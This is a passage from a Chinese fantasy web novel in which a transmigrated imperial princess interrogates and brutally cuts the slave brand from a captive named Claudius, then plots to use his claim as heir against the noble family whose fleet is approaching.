“还有,3号是什么东西?你给我起得代号?那我要叫你6号了!!”
“别走,我还有一条关键信息,你如果现在走了的话你就亏了!6号,喂!”
==
展览室内,柯茵享受着所有人的困惑,就连皇女的亲卫们都想知道,她如何看破的克劳狄的金蝉脱壳之计。
而在哪些疑虑重重的目光中,克劳狄的困惑是最迫切的。
“……你怎么知道是我?”克劳狄的灰色瞳孔冷淡,他和所有被抓住的法外狂徒一样不满,但却没有烦躁,反而非常冷静,声音低沉地问着。
克劳狄的声音不在闷在头套里,听起来成熟而性感,美妙得让柯茵想要吹个口哨。
“在这之前你既没见过那个刽子手医生也没有见过我……”
克劳狄用灰色的眼睛聚焦在柯茵身上。
柯茵太熟悉那种目光了。
那是掠食者的窥伺,隐藏在波澜不惊的水面之下。
柯茵不打算直接回答他的问题。
“没见过我?是诺曼医生自己告诉你的吗?”
柯茵想象这一个疯疯癫癫的科学怪人兴奋地向自己的试验品聊起今晚皇女要亲自接见他时的场景。
她摇了摇头,唇角轻挑,戏谑到,“还真是祸从口出啊……”
柯茵看向克劳狄,突然产生了一种奇怪的感觉。
他的身体、面孔都很年轻,不过二十来岁的样子,正是意气风发的年纪,唯独那双眼睛……
那绝不是一个年轻人的眼睛。
柯茵毫无征兆地凑近克劳狄,直视他的眼睛,确定了自己的猜想。
这双眼睛属于一个疲惫而警惕的灵魂,经历过无数和今天一样刺激的生死抉择。
面对自己,他既不恐惧,也不卑微。
当然,这既不符合他的年纪,当然也不符合他的身份。
呵……怪不得他是男主呢。
柯茵想着,在冰面之下,这个男人还隐藏着很多东西。
这让本来不打算认真对待他的柯茵产生了一丝策略上的微小变化。
“你的脱身方案是临时起意?”
柯茵漫不经心地开口,目光盯着头顶的人头鲸骨架,慢条斯理地复盘起克劳狄的临时起意的逻辑。
他是一个值得了解的对手。
既然短时间内不能杀他,不如多从他身上得到一些信息。
但在盘问之前,柯茵必须先让克劳狄知道,自己并非凑巧抓到了他。
她得让他知道,在这场猫鼠游戏里,他才是那只被注视的老鼠。
同时,梳理克劳狄的事情也让这间特殊牢房里的所有人都知道她已经和原主大不相同。
她没有原著那么好骗。
“‘全星际都知道八皇女喜欢干净’,所以你打定主意我是不会朝监狱深处的那个假‘克劳狄’一眼的。”
柯茵说着很快否认了自己的推断,她嘀咕道,“稍微有些冒险了。”
“你必须保证就算我真去看了也没关系。”
“哦,所以你把里面的诺曼医生的尸体毁坏得血肉模糊,这样一来因为让我认不出来里面的人是不是你……二来当然这也符合诺曼医生的人设,不会轻易被识破,一举两得。”
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“当然了,这一切的先决条件是你能从诺曼医生的手中活下来。”
柯茵看了一看克劳狄没被屠夫围裙的坚实双肩和手臂,轻啧一声,回想了一下他站起来的时候影子投在自己身上的庞大身躯,耸了耸肩。
“但我想,可能没有什么拘束带和麻药能控制住你这样的怪物吧。”
柯茵说到“怪物”的时候,她绝对是褒义。
“我对你想法了解得够深入的吗?克劳狄。”
而克劳狄居然默契地理解了她的夸奖,他的平静中有一丝傲慢,像他才是审问着那样缓缓抬眼,评价着柯茵的梳理:
“你不像世人所说的那么愚蠢……”
柯茵发现伴随他缓缓的话音,克劳狄看向她的目光也发生了变化,厌恶变得——好奇。
说实话,克劳狄的态度有点把她的胜负欲挑逗了起来。
光是好奇可远远不够,柯茵眯起眼挤出一个温暖的假笑,她想要更多。
比如臣服。
“克劳狄……”
柯茵用舌尖摩挲起男主名字的读音,终于想到这名字是哪儿来的。她像是坐在电视机前,答对了智力类竞赛题的小朋友一样兴奋:
“我想到了,这是一个古代暴君的名字!”
因为柯茵这种快活的表现,监狱内都笼罩上一层可怕的气氛,如果人头鲸或者其它恐怖藏品能活过来,它们一定会因为八皇女的变化被吓得四散奔逃——
笑着举起屠刀总是比严肃地举起屠刀更让人害怕的。
“所以你母亲给你给你起了个凶残的名字,而你也没辜负它——”
“狡猾、残忍。”
克劳狄冷哼一声,不服气地凶兽一般往前挣动一下,目光瞥向这间囚室中的可怕陈列:
“您在做自我介绍吗?‘皇女殿下’。”
柯茵眯起眼睛打量四周,嗯……克劳狄回应的有几分道理,但是,这里是她的地盘。
还记得吗?
帝国监狱,管辖者:八皇女柯茵。
“你好硬气啊,克劳狄,这是我的监狱,你就不怕我杀了你吗?”
死到临头,克劳狄灰色的眼睛还熠熠生辉,他说着,嘴角扯出一个讥讽的弧度:
“这是帝国的监狱,殿下。”
这是帝国的监狱。
柯茵听到这句话,后脊忽然窜过一阵电流。
直觉告诉他,不管克劳狄是谁,他绝不只是一个奴隶……
“而且您最好现在杀了我——”
“不然迟早有一天我会拧断你的脖子、掏空你的脑袋,让你跟那个邪恶的家伙一样。”
克劳狄说着,灰色的眼里蓄满了恨意,但下一秒他抑制住了那种愤怒,用一种古怪的上位者的谈判姿态说:
“抱歉方才欺骗了您,殿下,但关于诺曼医生的死状,我都是据实回答。”
柯茵弯下腰,凑近克劳狄威胁自己时因为得意而显得特别漂亮的凶巴巴的脸,掐着他的下巴,检查大牲畜牙口一样左右看了看。
被触碰到肌肤,克劳狄陡然紧张起来。
他那双深灰色的眼睛里怒焰简直要迸溅出来,他挣开柯茵的手,张嘴就想给柯茵的手来一口。
幸好柯茵眼疾手快,躲开了。
准确地说,她不仅没被他咬到,甚至反手扇了他一巴掌。
啪——
8. 疯子和疯子们(7)
“……你!”
克劳狄愣了一下,不敢置信地抬眼看向柯茵,但片刻之后,和红色的掌印一同浮现在他那张白皙脸上的是无法压制耻辱和怒火,他挣扎更加厉害,多了好几个全甲的士兵上来压住他才将他控制住。
但柯茵的手背却滚烫得令她兴奋不已。
她赏玩着猎物的挣扎时刻,发现克劳狄精悍的背上赫然有着一方丑陋的伤疤——
奴隶烙印。
伤疤拼写着一串字符,是凯瑟尔家的姓氏全拼。
柯茵注视着奴隶烙印和怒火中烧的克劳狄,更加确定了自己的判断。
克劳狄绝不只是一个奴隶。
柯茵在上一本书里见过形形色色的人,说得不好听一点,这世上的每一个人都知道自己的“售价”。
而从克劳狄对她触碰的反应来看——克劳狄很清楚,自己的身体远比普通奴隶昂贵许多。在加上他和自己对话时的语气,以及方才他险些实施成功的脱身计划。
这个聪明,果决,危险至极的家伙,绝不是在奴隶主的吆喝声中长大的。
有趣……
柯茵想着,慵懒而轻佻地抚摸过这个来路不明家伙背上的伤疤。
这次,他被皇女的亲兵们按住动弹不得。柯茵感受那线条流畅的有力肌肉在自己的手中挣扎的紧实质地。她想,如果没有亲卫,或许只有那个末世流的自己可以和这样的怪物交交手。
反正自己和3号肯定是没戏。
不过好在政客的基本工作就是不将自己置于非必要的危险之中,这一点上,柯茵一直做得不错。
她会把握好这个分寸的。
柯茵想罢,轻轻抚摸他后背伤疤的手变得温柔,像是抚摸暴躁的战马。
可惜战马并不领情,他激烈地挣动着,想要甩脱自己的主人。
“别碰我!”
“既然已经抓到我,为什么不直接处决——”
“这话可真让我伤心……”柯茵打断克劳狄的发言,按着心口,装出一副伤心的表情,“我正打算留你一命。”
此话一出,监牢中的空气再次凝固住,灰发的皇庭近侍安泊尔向前一步。
“皇女殿下,这怎么能行呢……您还是得杀了他才行!!”
反倒是送她们来的亲卫队长看克劳狄有几分骨气,睨他的目光带上了一点习武之人之前常见的惺惺相惜,替他求情道:
“殿下,他倒是和您剧团里的那些男人不同,我看,倒也不必非杀掉。”
看来所有人都瞬间误解了柯茵的意思。
不过这倒也让决策更加贴合原主的人设,倒也没什么坏处。
就在气氛逐渐变得有些古怪和悲伤的时候,倒是克劳狄压抑住了自己的怒火,他低头,思考片刻,抬起头看向柯茵。
克劳狄从喉咙里碾出一声哂笑,沙哑而性感,然后开口说到:
“我知道你要拿我干嘛,‘皇女殿下’。”
“我给你讲个小故事吧……”
这只名叫克劳狄的肮脏困兽微微扬起下巴,目光缓缓扫过她,最终居然直勾勾与她对视,只听他用成熟地老练地口吻为柯茵娓娓道来:
“在我的老家,凯瑟尔家的贵族们打猎的时候总是带一种高大的、能轻易杀死几十上百倍于自己体型怪兽的‘寻血猎犬’。虽然那东西说是‘猎犬’,但其实有三四米高的合成兽,在前星门时代培育出来的,比皇室的狮鹫小不了多少。”
“猎犬控制不住自己的口水,嗜血、丑陋……闻起来有一股恶臭传说它在夜里会叼走十几岁的孩子和体格特别弱小的女人。”
“但您猜怎么着……”
克劳狄的笑容里藏着一丝难以掩饰的骄傲,仿佛即便是跪在地上,他依然有资本炫耀着危险的爪牙:
“自从凯瑟尔们决定让我成为狩猎随从,他们就再也没养过过一只‘寻血猎犬’。”
克劳狄说完,烟雾从柯茵想象中的脚边升腾起来——
阴暗的囚室在烟雾的掩盖下变成了克劳狄口中猎犬出没的湿冷森林,那种名为寻血猎犬的巨兽沉重可怕的呼吸仿佛就萦绕在浓雾之中。
而当浓雾散去,那些满口利齿的可怕生物却对着它们中的一个人类俯首,警惕地在他的领地上巡视——
身份低位的奴隶浑身血污、放松地靠在一头猎犬身上。天生猎手般强壮的他一手支颐、一手轻拍猎犬的肚皮。男人肮脏又不修边幅地浑身只穿一件偷来的黑色防水布围裙,双膝随意张着,蜿蜒的猩红血迹顺着那黑色围裙的裙角——
滴答。
滴答。
滴落在贵族们被砍下来的、无法瞑目的头颅上——其中就有柯茵自己的。
柯茵缓过神,发现克劳狄微微抬颔示意她凑到他的身边。
柯茵不顾眼前士兵们的阻拦,中邪一般执意凑到克劳狄的身边。
克劳狄俯身向前,他们两个一瞬间凑得很近,暧昧得像是一对儿耳鬓厮磨的爱侣那样。
克劳狄对柯茵耳语,性感的声音几乎是钻到柯茵的耳朵里,让她后脊一阵发麻。
“你以为我会想像那些软骨头的男人一样看见权贵就张开双腿?”
克劳狄咬碎了牙一样威胁柯茵。
“你敢这么做试试看。”
然后他缓和了语气,态度软化,好像真的站到了克劳狄那边一样替她考虑:
“像我这样的……让我们说‘猎犬’吧,倘若真到了您那张华美柔软的寝宫软床上,你又打算拿什么捆住我,防止我——”
“咬你。”
克劳狄说完,出人意料地狠狠地咬住了柯茵的耳骨!
顿时,鲜血如注!
痛感尖锐地在柯茵的脑子里爆开,战栗的痛感瞬间席卷全身。
但随之而来的,还有猩红的兴奋与愉快。
见到皇女殿下受伤,忠诚的士兵们反应激烈,她们手中的仪仗电棍发出此起彼伏的吱吱声,拳头落在克劳狄的身上,很快把克劳狄的脑袋按在地上。
“您没事儿吧,皇女殿下。”队长说吧,啐了克劳狄一口,“去死吧你这个该死的垃圾,亏我还为你求情。”
肮脏的地面蹭脏了克劳狄的脸,在士兵全副武装的手甲按压中,克劳狄抬起那只薄凉的灰眼,挑衅似的看向柯茵。
柯茵则用手摸着自己耳畔的鲜血,收手在眼前看了看,闭上眼,享受着危险和刺激给自己带来的甜蜜颤栗,嘴角绽放出笑意,接着,在整个房间所有人包括克劳狄的面前狂笑起来:
“哈哈……哈哈哈……做得好,克劳狄!”
“你做得太好了!”
没错,没错,就要这种感觉。
柯茵再睁开眼时,发现自己身侧已经站了端来一盘伤用凝
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胶的士兵,想要给她止血,却被柯茵伸手制止。
“没关系,小伤口。”
柯茵摆摆手,示意想要替她止血的人下去,然后,微微抬颔,向身后的士兵吩咐道:
“把什么处理伤口的东西先拿一边去,我有什么随身的武器吗?”
一个士兵向柯茵行过礼,匆匆离开。
“我这就去取您的佩剑!”
柯茵点头,示意那些押着克劳狄的士兵松开克劳狄的脑袋。
然后,她从身旁的一个士兵腰间抽出仪仗电棍,蹲在克劳狄身边,把棍棒状的东西在克劳狄眼前晃了晃。
克劳狄本应激怒柯茵十分愉快,但发现她比自己疯得还彻底之后,克劳狄开始因为疑惑而恢复到那种愤怒的状态,他不满地对柯茵说到:
“皇女看上一个奴隶……还真是自折身价。”
“还是说,你天生就是见色起意的蠢货?”
柯茵对着克劳狄展示自己左耳被他咬出的伤处,像是对镜子确认伤口,用手指着自己的伤口:
“是这儿吗?”
“你在干嘛?”克劳狄嫌恶地盯着她。
“我说我的伤口。”
柯茵完全不理会克劳狄的话,自顾自地问着。
“血流的多吗?”
“要是我再使劲儿一点,你已经成为帝国首位少一只耳朵的皇女了。”
“是吗?留下伤疤可不好。”
柯茵耐心地解释道,看到克劳狄脸上果然露出轻蔑的神色,他似乎在说,“是吗?你脑子里只有自己的形象吗?”
“克劳狄,来吧,我给你一个机会。”
“如果你现在说‘皇女殿下,我错了’,并乖巧地帮我把血舔掉……”
“或许,我会原谅你。”
克劳狄轻呵一声,对她扯出了一个打定主意保持缄默的微笑。
柯茵轻啧一声,对着押着克劳狄的士兵摆了摆手:
“那还真是可惜了……来,掰开他的嘴。”
柯茵把电棍横塞到克劳狄的嘴里时,替她取佩剑的士兵恰好回来。柯茵看着不配合的克劳狄,十分耐心地安慰道:
“咬紧点,一会儿就不疼了。”
柯茵伸出手,士兵随即为她递上一柄匕首。
“皇女殿下,您的熔血剑。”
奇怪,为什么一把匕首会叫做剑呢?
不过,不重要,匕首也行,能让他见血就行。
柯茵抚摸着那把看起来朴素的金属匕首,它线条流畅、表面银亮,仿佛一小弯破雾而出的新月。
柯茵想着的时候,克劳狄不知道怎么挣脱了被塞到嘴边卡住的仪仗电棍,也看着那把匕首哼笑出声,微抬下巴。
“打我那一巴掌一定耗尽了你所有的力气吧。”
他说完,用看向弱者的目光打量柯茵手中的匕首,话音冷淡地不像是面对自己的死亡威胁。
“您要是用那把短‘剑’杀我。”
“血会溅到裙子上的。”
柯茵轻呵一声不做理会,摆了摆手,示意士兵们压下克劳狄的头颅,然后左手抚摸着他地形起伏的有力肩背,最终——
她抬起那柄明晃晃匕首,舌尖轻舔自己满是笑意的唇角。
“脏?不,你误会了,我最喜欢带血的词汇了,比如——”
“血债血偿。”
9. 疯子和疯子们(8)
柯茵从小就喜欢大型犬,看起来越凶越像狼的她就越喜欢。
小的时候柯茵听说德皇腓特烈大帝出门必会牵着四五只高大的猎犬,于是每次作文都写腓特烈大帝是自己的偶像。
所有人都觉得柯茵志向高远,以后应该去军校,只有她自己知道,她其实只是想当训犬师——享受凶巴巴的东西在自己的轻抚和教导下学会用黏糊糊的咕哝表达喜欢的样子。
这个想法是在青春期之前就产生了的,也远在她被系统带到一个又一个穿书世界之前。
所以……每一个柯茵的想法应该都很相似。
由此,柯茵想到了那个寻思哲学寻思了两百万年的寡王。
不出意外,她此刻应该就在自己意识的副驾驶观摩这一切。
柯茵都能想象到3号小脸通红的样子。
该死,不知道为什么,欺负自己也有一种格外的愉快。
柯茵带着顽劣的儿童恶作剧得逞时的笑意抬起匕首——却没有直接落下。她的目光落在克劳狄背上那个丑陋的烙印上,眼神逐渐变得危险。
“你知道吗,克劳狄?”她用匕首轻轻描摹着烙印的轮廓,“我最讨厌这个。”
随后,她开始一刀一刀地割去那些代表着耻辱的印记。动作不快,但每一刀都异常精准。
士兵们架着克劳狄的双臂,让这个高大的男人不得不以一种下位者的屈辱姿态向前半趴着冲着皇女展露自己的后背。
刀锋割破皮肉的疼痛让他神经性地战栗,抖动和血顺着宽阔的双肩,沿着脊线传导到线条陡然收窄的腰肢。
克劳狄颤抖着咬着下唇忍下痛呼,但没办法控制自己的双眼生理性地泛起泪水。最让他难以忍受的是士兵看他的时候那种审视的目光。
凝视,让人感觉到一种彻骨的耻辱,甚至让人忘记反抗。
看到克劳狄的战栗,柯茵的声音反而柔和了几分。
“忍着点,马上就好。”
但刀子割在肉上,她话音没有起到任何安抚作用,下一刀下去的时候,克劳狄还是不由自主地战栗。
克劳狄终于忍不住,闷哼一声,条件反射般暴起掀翻了一个士兵,那名一直戴着头盔的士兵被掀掉了头盔,露出散乱、汗湿的长发。
她气愤地喘着粗气,似乎克劳狄的反抗让她觉得备受侮辱。
伴随这名士兵的愤怒,她身上悬浮式的盔甲呼吸般起伏着,在她的周身幻化出淡淡的衍射光环。
柯茵看着她大步上前,把克劳狄的头死死地砸在牢房的地面上——
哐!
收藏室的水泥地面上竟然硬生生地砸出了一个网状的圆坑。
柯茵看呆了,手上的刀子都顿了一下。
呃……
这是不是有点不合理了?
她一时不知道究竟是该感叹克劳狄的脑壳儿比较硬,还是士兵的拳头够劲儿。
“皇女殿下,抱歉,这个奴隶……力气大得不像是男人,我们得给他点颜色瞧瞧。”
听了士兵的话,柯茵下意识攥了攥拳头,感觉很奇怪。
既然自己也是女的,但为什么这具身体如此虚弱,别说给克劳狄一拳了,就连打他一巴掌手都有点疼。
士兵说着,她的几位同袍和她一样动用了某种力量,几人重新将克劳狄控制住,让那只愤怒地低喘的野兽再度摆出受刑的姿势。
“皇女殿下,您请继续。”
柯茵无所谓地点头,她知道,纵使自己对这个世界的力量体系有些不解,纵使她的力量远没有这些士兵们强大,但在她们面前,她不能有一丝迟疑。
就像是在其他柯茵面前,她必须维持哪怕表面上的主导地位。
因为她是狮群的领袖,她必须把母狮们沾血的獠牙视作做理所当然。
柯茵想着,重新抬起手中的刀。
银白色的月亮反复陷入大地的柔软中,每次升起时,都带着令人憎恶的暗黑色糜烂。
被抓着头发抬起头的时候,克劳狄的额头上满是血污,他被士兵们更加用力地向前拉着的双臂,结实的肌肉无谓地发力却难以挣脱桎梏,攥拳的手和劲瘦的腰也抖得不成样子。
再然后,柯茵听到了来自男性的小声啜泣。
???
简直像是假的。
“你哭了?”
回答柯茵的只有士兵们的几声轻笑,她们在嘲笑男人忍受痛苦的能力。
而克劳狄拒绝回答她的问题。
终于,精巧的切割和泄愤难以辨别地交替持续几分钟后,柯茵甩到刀子上的血,审视地看着自己的作品——
克劳狄结实的后背被血浸透,凯瑟尔家的家族烙印被深深刀痕覆盖。
可以料想,这里之后会成为多么丑陋而扭曲的一片伤疤。
但这意味着,克劳狄自由了。
“你现在不再是凯瑟尔家的奴隶了。”
柯茵说着,拍拍克劳狄的脸,一脸纯良,仿佛到邻居家串门送小饼干般友好。
看着克劳狄闭着眼时睫毛上颤动的泪水,她按耐下想要吹个哨子的轻松,幽幽地试探:
“硬汉,你没看起来的那么耐痛。”
克劳狄骤然睁开眼,和柯茵鼻尖对着鼻尖,喘息里夹杂着凶兽的气势。
他冰冷燃烧着的灰眼里蒙上一层水雾,似乎泪光让他的恨意中多了一分不解。
透过疼痛,克劳狄意识到柯茵剜去了他的奴隶印记。
但他也知道,他被她和她的士兵们当众羞辱了。
他不理解这个喜怒无常的女人为什么要这么做。
“…为什么?”
克劳狄的声音和开始时喑哑,粗糙,却莫名染上潮气。
像是阴沉的海滩被骤雨前的闷热浸透。
柯茵没有回答。
她兀自接过旁人递的手帕擦了擦匕首,打量一番后,并没把那柄漂亮的、新月一般的银色匕首放回托盘上。
虽然匕首的名字很奇怪,但它的确趁手。
于是,在士兵们惊讶的目光中,柯茵以一种她们从没见过的熟练把匕首在手心里转了一圈,然后把那东西别到腰间,歪头对身后的人吩咐道:
“给他止血。”
做完这一切,柯茵冷冷地睥睨着克劳狄的后背,像是征服者纵马,俯瞰高地之下未被征服的整片领土,缓缓说道:
“没有为什么,克劳狄,你现在是自由人了。”
柯茵摆摆手,叫来身边的皇庭近侍,用手背遮住嘴和安泊尔悄悄问:
“我有这么做的权力,没错吧。”
“当、当然殿下,您才是第三行省的总督,但您为什么要这么做??!!”
说话间,安泊尔显得非常紧张,她有些哽咽:
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“我还是劝您杀掉他,这个奴隶……”
柯茵玩味地看着安泊尔的紧张反应,目光略过安泊尔的肩头,看向不远处克劳狄家的陪嫁侍从,后者同样非常紧张,甚至在和柯茵对视的瞬间就恐惧地避开了她的目光。
“我不明白,你应该杀了我……”
柯茵看到克劳狄用一副被她弄哭的样子和她谈判,还真是一番好景色——远比冷嘲热讽的哂笑适合他。但旋即那张线条硬朗的面孔上迸发出讽刺的笑意。原来克劳狄只是在崩溃的边缘滑动了一下,很快就回到了他的舒适区:
“你的伟大表演。”
“只是想要玩弄猎物的心理,先放他自由,然后再……”
“天哪,克劳狄,你怎么会这么想我。”
柯茵原本想要解释,但现在,她放弃了解释的想法。
柯茵直接打断克劳狄,用一脸佯装出的委屈凑近他,捧起他湿漉漉的面庞。在克劳狄半是厌恶半是恐惧的下意识躲避中,用她昂贵的荷叶边袖子擦去他的泪与血。
“你想得太多了,宝贝。”
“像我这样的蠢货,怎么会有那么复杂细腻的内心活动。”
但柯茵的话像是秋末的天气一般骤然转冷,接着回答:
“我只是单纯看你身上的奴隶烙印不顺眼罢了。”
但下一秒她又偏偏对着克劳狄眨了一下右眼,让克劳狄眼中的坚冰裂开数道的缝隙。
“让我纠正一下,我可能看整个奴隶制不顺眼。”
“在我的行省还有这么落后的制度…历史的车轮是时候前进了。”
几秒钟内,柯茵脸上闪过三种神情。克劳狄一时有些分不清,到底是诺曼医生被他用长钉搅坏了脑子,还是他眼前的八皇女的脑子坏掉了,亦或者,是他自己的脑子被星辰能力使用者砸晕了。
又或许,他们的脑子都不太对劲……
巧妙地掩饰过自己的真实意图,柯茵避重就轻地向克劳狄介绍着她的计划:
“所以,我再说一遍。你不再是奴隶了,克劳狄,以皇女的名义,你现在是个自由民。”
“寻死什么的以后再说吧,最起码眼下,我需要你活着。”
“你现在是这盘棋上的棋眼,如果你还是一门心思找死的话……”
柯茵看了看收藏室像是镇墓兽一样分列两侧的展示品们,对着克劳狄威胁式地微笑:
“以帝国监狱的医疗水平,我会想办法让你活过来的。”
柯茵说完,走到克劳狄身边蹲下,两人再次保持那种交颈的暧昧姿势,只不过柯茵对咬耳朵没有什么兴趣,她是想用只有他们两个人才能听到的声音接着和克劳狄交涉:
“但如果你听话,我也会开足加码。”
“我不会告诉任何人关于你的事情。”
“您难道很了解我吗?殿下。”克劳狄轻笑。
“我们来试试,比如,你的姓氏。”
听完柯茵的话,克劳狄像是被定格了,他满是血污的脸上闪过一丝真正的、震慑灵魂的惊讶。
压下那种惊讶,他略带一点勉强地应付着柯茵。
“我是奴隶,皇女殿下,我不像您,我没有母姓。”
“是吗?”柯茵也报以轻笑回应。
“虽然我今天听到了无数条谎言。”
“但这是我今天听到的,最差劲的一条谎言。”
10. 疯子和疯子们(9)
“虽然我今天听到了无数条谎言。”
“但这是我今天听到的,最差劲的一条谎言。”
柯茵还没说完,仿佛为了印证她的说法一般,囚室的廊桥处响起格外整齐而沉重的脚步声,像是和谐统一的乐章,而在那乐章中,有一个独特而不详的错音。
脚步声渐近,柯茵看到自己分列四队的士兵,她们和自己的亲卫一样都穿着外骨骼盔甲,只不过并非悬浮式的而是朴素的机械结构,这也是她们的脚步声格外整齐而沉重的原因。
站定后,士兵们分列两旁,为一名女性军官让出一条道路,仿佛她的气势有一道无形的屏障,物理分割开了人群。
军官身着军礼服,显然是刚从会议室赶来。她皮肤黝黑、身材高挑,军服熨帖,耀眼的银色流苏垂于左肩,左边的腰间别着长剑,左边则别着杆长烟枪。
通过原主残存的记忆,柯茵认出这个女性是主管炼狱星防卫的军士长,为人忠厚,不懂变通,还有些有些不合时宜的直白。
原主不太喜欢这样的人。
但面对凯瑟尔家的威胁时,柯茵现在非常需要正直忠诚的盟友。
通过原主残存的记忆,柯茵认出这个女性是主管炼狱星防卫的军士长,为人忠厚,不懂变通,还有些有些不合时宜的直白。
原主不太喜欢这样的人。
但面对凯瑟尔家的诡计,柯茵现在非常需要正直忠诚的盟友。
军士长行过军礼后慌忙地上报:
“皇女殿下,我有一个坏消息。”
“凯瑟尔家的‘商船队’正在靠近炼狱星星门,她们的具体舰队数量尚未被我们部署在星系外围的‘椋鸟’扫描清楚,粗略估计,可能有炼狱星的警卫舰队12-13倍多。”
商船队?
应该是战斗舰队,柯茵想,这个凯瑟尔家族还真是谨慎。
虽然已经知道了凯瑟尔家族送奴隶联姻就是故意激怒她的手段,但她们的目的柯茵尚不清楚。
毕竟明面上她穿到的这个八皇女目前是第三行省名义的主人、帝国监狱的掌管者。
即使真正的权力掌握在她们手里,那驱使她们现在就和柯茵撕破脸的动机是什么呢?
柯茵目前仍不知道。
但她知道的是,目前的“商船队”应该就是她们的先遣试探。
“皇女殿下,您听到我的话了吗?”
“满载武器的商船队吗?”
柯茵会问到。
“没错。”
“除了这个,她们没有给我们发来什么信息吗?”
军士长有些迟疑地看了一眼柯茵,似乎是对她今天的敏锐有些不敢置信。
“是的,殿下,她们发来消息了。她们说,您伤害和杀害克劳狄的行为违反了先皇与贵族们的仙后座盟约。”
这个消息来的多么及时,及时得就像是早有布局一样。
军士长从身旁的士兵手中接过黄铜卷轴,重重拉开,对着上面浮动的电子信息接着补充道:
“凯瑟尔重申克劳狄不是一般的男性,按照她们的习惯法,他作为凯瑟尔的家族一员是有继承权的。”
“她们要求您立刻交人,活要见人,死要见尸。”
听到继承权,克劳狄嗤笑一声。
凯瑟尔家的无耻真是刻在她们的家族圣泉之中。
“继承权,你还有这种东西呢?”
柯茵也被逗笑了,她对上克劳狄灰色的眼睛问到。
“按照凯瑟尔家族的习惯法,她们的男性家族成员的确有继承权。”
“这样……”柯茵沉思片刻,半真半假地说到,“那现在你是了。”
克劳狄抬眼,看到了脸上挂着温和笑意的柯茵。
“现在他是了。”
克劳狄瞬间明白了柯茵的意思。
凯瑟尔家用他的“身份”做文章,那她八皇女也可以。
克劳狄明白,她的目的不仅是安然无恙地要这场凯瑟尔家发起的战争——
她的目的是要借他继承人身份彻底侵吞凯瑟尔家的势力!
这才是她之前说的棋眼!
“棋盘上的棋眼”。
面对数十倍于自己的对手,她居然想的是化险境为机遇……!
野心、权欲,克劳狄看向面前年轻皇女的眼睛,陡然发现一个自己方才没有注意到的事实——
在她那双浅蓝色的眼睛里,有这一种不符合她年龄的冷静。
她难道和自己一样,虽然躯体属于年轻人,但灵魂却兀自经历过额外的波涛?
克劳狄想着,似乎看到自己身处的监狱牢房变成一张被浓稠黑暗笼罩着的巨大黑白棋盘。
塔楼般大小的棋子们被从黑暗中伸出来的巨手轻轻掀起,沉重地挪动着位置。每一步都伴随着沉闷的撞击声,像是千钧巨石砸在棋盘上,掀起震动与轰鸣。
那只巨手移开的瞬间,克劳狄从黑暗中看到一双充满恶意的笑眼,像是宇宙中的两团奇诡的明亮星云——那是柯茵的眼睛。
她的双眼俯视着这盘棋局,仿佛在说:
“我猜对了她们全部的奇招。”
“接下来,到你出场了。”
克劳狄感到一阵不适。
自从回来之后,他很久没有这种可恶的被注视的感觉了。
跪在棋盘上的克劳狄抬起头,像是第一次观摩教堂的异教徒一样凝视着自己面前女人的眼睛。克劳狄第一次如此严峻地认识到八皇女和传言中的形象相去甚远。最起码,和凯瑟尔们口中的八皇女截然不同。
八皇女柯茵,帝国监狱的暴君,童谣里嗜血昏庸的第三行省的主人。
她不是星际传言中的疯子或酒鬼,而是倒吊的愚人。
在她轻松、散漫、看似不屑一顾的态度中,有一种彻骨的洞视。
此刻,她那双邪神一般的眼睛正充满狂热地洞视着棋盘上的克劳狄——在这个女人精心布置的棋局中,他是那招险棋。
但如果是为了除掉凯瑟尔家族的话,克劳狄并不介意做任何人的马前卒。
哪怕注定要成为弃子。
就在克劳狄在审视自己面前的八皇女的时候,八皇女本人则在重新审视局势。
“凯瑟尔重申克劳狄不是一般的男性,按照她们的习惯法,他作为凯瑟尔的家族一员是有继承权的。”
“她们要求您立刻交人,活要见人,死要见尸。”
说实话,在听到军士长女士说那些话的时候,柯茵有些释然,因为这意味着她的猜想得到了印证——
克劳狄是凯瑟尔家族故意送来激怒她的。
她对形式的判断基本正确。
凯瑟尔家是合格的政客,这些可爱的小蜘蛛们为她罗织了一张严密的大网。
她唯一错算了一步,就是原来的那个八皇女已经死了,现在在她身体里的是柯茵。
既然她们给她送来了家族继承人,她岂有不用的道理。
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>她们想要吃掉自己,但自己何尝不想吃掉她们!
柯茵的那种赌性油然而生。
在这种情况下,正常人会分析的是,面对十几倍与自己的强敌,胜率就会下降到个位数,如何做才能保住炼狱星,如何保住自己的性命与财产。
而于柯茵眼中,这是一个五五开的事情——
百分之五十的概率,她彻底打败凯瑟尔家族,让她们彻底从炼狱星消失。
百分之五十的概率,她死于炼狱星的保卫战中。
只有这两个选项,不存在任何其他的可能,不管是几倍、几十倍、几百倍的敌人,这两个选项都会是一样的!
伴随柯茵的复盘,一个令人生厌的声音幽幽响起,白色的立体弹幕才浮现在柯茵眼前,浮现在高不见顶的收藏室中:
『新手引导进行中:』
『感谢您持续不断地推动剧情!正在为您开启第二个新手任务…』
『任务目标:处决全部叛徒。』
『任务奖励:洞悉2点』
『失败惩罚:真实死亡』
『提示:本次任务完成后将会为您开启洞悉系统!』
第二个新手任务没太打断柯茵,以她对系统的了解程度,的确差不多是时候该引入第二个任务。
柯茵看着这次任务的介绍。
没有时间限制,但是系统还是故技重施了陷阱——
处决全部叛徒,却不告诉她一共有多少个叛徒。
不过她已经知道了,两个。
总得来说,这个任务对柯茵来说还算是送分题,更别提系统口中的那个什么洞悉系统也值得期待一下。
柯茵的思考花了一点时间。从在场中其他人看来,她一直在沉默,军士长误以为她还是一副宿醉未醒的状态,恨铁不成钢地攥紧了拳头。
“皇女殿下??您难道昨天又喝酒了?!”
皇庭近侍安泊尔警惕地看着皇女,凑近提示军士长。
“军士长,皇女殿下没有喝酒,但她在卧室里两天两夜没出来,既没有吃东西,也没有……”
“荒唐!皇女殿下,视察监狱期间您怎么能找男人——!”
耿直的军士长还想继续说下去,却看到皇庭近侍安泊尔惊恐地摇了摇头。她看了看安泊尔又看了看一脸看好戏的皇女本人,最终务实战胜了忠诚,单刀直入地上报:
“两天两夜!?您就不能忍忍吗?”
“哦?我有什么要忍的!”
柯茵笑道。
皇女殿下的不着边际让军士长涨红了一张脸,在她面前不合礼数地来回踱步,把手中的长剑摇来摇去,抱怨道:
“您的,嗯!对男人的喜爱!”
“您从皇都一回到第三行省,就嫌您的床冷着了!迫不及待地找了一堆的男人到您的床上!”
“您找了查理,戈登,什么卫斯理,还有一堆我记不住的名字……以及最大的那个凯瑟尔家的祸害——克劳狄。”
柯茵被军士长的话逗笑了,她回答:
“这么看来,我的床还挺大的,竟然能躺下这么多人。”
